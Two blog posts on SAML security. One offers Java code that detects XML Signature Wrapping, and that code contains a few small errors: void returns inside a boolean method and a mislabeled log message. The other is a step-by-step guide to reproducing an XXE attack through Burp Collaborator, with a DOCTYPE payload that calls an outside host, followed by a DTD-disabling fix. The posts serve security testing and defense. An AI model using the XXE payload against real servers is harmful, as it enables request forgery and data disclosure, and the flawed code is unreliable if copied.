Monday, February 13, 2017

XMLSignature Wrapping attacks (XSW) in open saml based applications

XMLSignature Wrapping attacks (XSW) in SAML based applications like open saml

Secure validation of SAML assertions

SAML document validation consists of the following steps:

1.Parsing the XML document, which includes structure validation based on supplied schema;
2.Digital signature validation, which verified authenticity and integrity of the assertion embedded in
SAML document.
The first step, schema validation, might prevent XML manipulation attacks such as wrapping (it will not if
schema contains “any” extensions, see below). The second step, signature validation, prevents forgery.
Each of these steps has to be successful for the whole validation to complete
.Recommendation:
Always perform schema validation on the XML document prior to using it for any security ­related purposes.

Validate saml response sent by  identity provider for invalid assertions
validate digital signatures

I am  just giving the solution to first step  validating assertions.
There can be 8 possible XSW attacks starting from XSW1 to XSW8


public boolean validateAssertions(String inputXml) {
boolean isValid = true;

DocumentBuilderFactory domFactory = DocumentBuilderFactory.newInstance();
    domFactory.setNamespaceAware(true);
    try {
DocumentBuilder builder = domFactory.newDocumentBuilder();

Document doc = builder.parse(new InputSource(new StringReader(inputXml)));
    NamespaceContext namespaceContext = new SAMLNamespaceResolver();
       XPathFactory factory = XPathFactory.newInstance();
       XPath xpath = factory.newXPath();
       xpath.setNamespaceContext(namespaceContext);
     
       XPathExpression assertionXPath = xpath.compile("/samlp:Response/saml:Assertion");
            NodeList assertionXPathResult = (NodeList) assertionXPath.evaluate(doc, XPathConstants.NODESET);
         
            if (assertionXPathResult.getLength() > 1){
            isValid = false;
            LOGGER.debug("More than 1 Assertion found");
              return;
            }else if(assertionXPathResult.getLength()==0){
            LOGGER.debug("No assertion found");
            isValid = false;
             return;
            }else{
           
            assertionXPath = xpath.compile("/samlp:Response/saml:Assertion/ds:Signature/saml:Assertion");
            NodeList xsw6NodeList = (NodeList) assertionXPath.evaluate(doc, XPathConstants.NODESET);
           
            LOGGER.debug(" xsw6 node list length:"+xsw6NodeList.getLength());
            if(xsw6NodeList.getLength()>0){
            LOGGER.debug("XSW6 security Attack occured ");
            isValid = false;
return;
            }
           
            assertionXPath = xpath.compile("/samlp:Response/saml:Assertion/ds:Signature/Object/saml:Assertion");
            NodeList xsw8NodeList = (NodeList) assertionXPath.evaluate(doc, XPathConstants.NODESET);
           
            LOGGER.debug(" xsw8 node list length :"+xsw8NodeList.getLength());
            if(xsw8NodeList.getLength()>0){
            LOGGER.debug("XSW8 security Attack occured  ");
            isValid = false;
               return;
            }
           
            assertionXPath = xpath.compile("/samlp:Response/Extensions/saml:Assertion");
            NodeList xsw7NodeList = (NodeList) assertionXPath.evaluate(doc, XPathConstants.NODESET);
           
            LOGGER.debug(" xsw7 node list length :"+xsw7NodeList.getLength());
            if(xsw7NodeList.getLength()>0){
            LOGGER.debug(" XSW8 security Attack occured ");
            isValid = false;
               return;
            }
           
           
            assertionXPath = xpath.compile("/samlp:Response/saml:Assertion/saml:Assertion");
            NodeList xsw4NodeList = (NodeList) assertionXPath.evaluate(doc, XPathConstants.NODESET);
           
            LOGGER.debug(" xsw4 node list length :"+xsw4NodeList.getLength());
            if(xsw4NodeList.getLength()>0){
            LOGGER.debug(" XSW4 security Attack occured ");
            isValid = false;
              return;
            }
           
            }
} catch (ParserConfigurationException e) {
LOGGER.error(" parser configuration error occured ",e);
}
catch(XPathExpressionException e){
LOGGER.error(" IOException occured",e);
}
catch(IOException e){
LOGGER.error(" IOException occured",e);
}
catch(SAXException e){
LOGGER.error(" SAXException occured",e);
}

return isValid;

}


Now check the assertions in calling method:
if( !validateAssertions(rspWrt2.toString())){
  throw new InvalidAssertionsException("invalid assetions");
  }else{
//validate signatures
}



Friday, January 13, 2017

SAML Security XML External Entity Attack

XML External Entity Attack(XXE) in SAML based SSO application

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts

We need collaborator server so that we can insert the unintended XML containing unauthorized url or file location on the server.Collaborator server wil as act as proxy server for intruder's URL.
It will intercept all the request cooming from original company's ip to collaborator server.

We need saml-raider extensionalso for capturing saml response if our request using the saml content.
Burp professional provides the saml-raider as extension .So we have to download saml-raider jar for the installed burp version  and import it through Burp Extender tab->Extensions tab ->load the raider jar


Suppose our affected url is:  https://testcompany.com/saml.html

Above url is used for logging in through a html(for example test.html provided by the SSO provider)  file which sends request 
to our url with a SAML response

suppose our test.html has below source code,It has only a submit button and a hidden param.
on click on submit button user is logged in using samlResponse param.
our aim is to corrupt the samlResponse param value and send a request to unintended server.

<html><body>
<form method="POST" action="https://testcompany.com/saml.shtml">
<input type="hidden" name="SAMLResponse" value="aGVtYSIgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm" />
<input type="submit" name="Post Saml Response" value="Post Saml Response"/>
</form>
</body></html>

Step1: Download burp tool (we need burp professional for this)
Step2: Go to burp tool -> click on tab project options
Step3: Use the default collaborator server 
Step4: Click the "Run Health check" to confirm if the default collaborator server is running.
Step5: Click on Burp menu  and click on burp collaborator client
Step6: Intercept the request through burp proxy and go to repeater it will have raider tab copy the saml response,saml response is the XML file

Step7: Now we have to send our malicious Xml in the SAML response to the target URL



for example intruder's XML is

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://Collaborator Server's URL" >]>

<foo>&xxe;</foo>

Step8: To test that our affected server is making unintended request to intruder's server
We will pose default collaborator as the intruder's server url
Step9: To get out default collaborator server url go to burp collaborator client and click "copy to clip board button" it will copy the server's URL ,it should be someting like this 10pn7ed51u.burpcollaborator.net 
Now replace it in the  XML chunck used for attack
Now XML will look like below

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://10pn7ed51u.burpcollaborator.net " >]>

<foo>&xxe;</foo>


Now insert our SAML response between <foo> and </foo> tags  and post the saml response

for example intruder's new XML ready for attack will be something like this,url highlighted is the url acting as intruder's url

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://10pn7ed51u.burpcollaborator.net " >]>

<foo>&xxe;
<samlp:Response ID="d4_kS-guM6wiWqkSLdWESYZ8DGv"
  IssueInstant="2016-12-21T19:15:11.418Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://www.xyz.com.com/enterprise-central</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion ID="YzZoJdNiWwkrRrz3pljoYUvX3Lb"
    IssueInstant="2016-12-21T19:15:11.480Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
    <saml:Issuer>https://www.xyz.com/enterprise-central</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
      </ds:SignedInfo>
      <ds:SignatureValue>

</ds:SignatureValue>
/<saml:Assertion>
</samlp:response>
</foo>

As our Saml response in the original request was base64 encoded so Now we have created new XMl for SAML response with attack code inserted ,Now Copy the above SAML response and make it base 64 encoded using any online tool .

Step10: Now open our test.html to login through SSO intercept through burp tool
send it to repeater and now in the request param replace the existing value for samlResponse with newly encoded value.Now send the request

Step11:Expected result a request from our server (testcompany.com) is sent to unintended serer(burpcollaborator.net) as we have inserted a doctype with url in the post request.

Step12:We can verify it by refreshing the list in the burp collaborator client it shows that request from ip of our test company captured at collaborator server.

This way it is reproduced.

How to fix:

The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:


factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


Note : delete the saml resposne
Copy the intruder's  xml replace the server name with collaborator client 
Now copy the xml and make it base 64 encoded using online tools
now copy this encrypted xml and  past in the value to post request parameter named "SAMLResponse".
Click the button go
Now if the attack is happneed then our collaborator server should get the request from the url where we have posted our request.


References:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing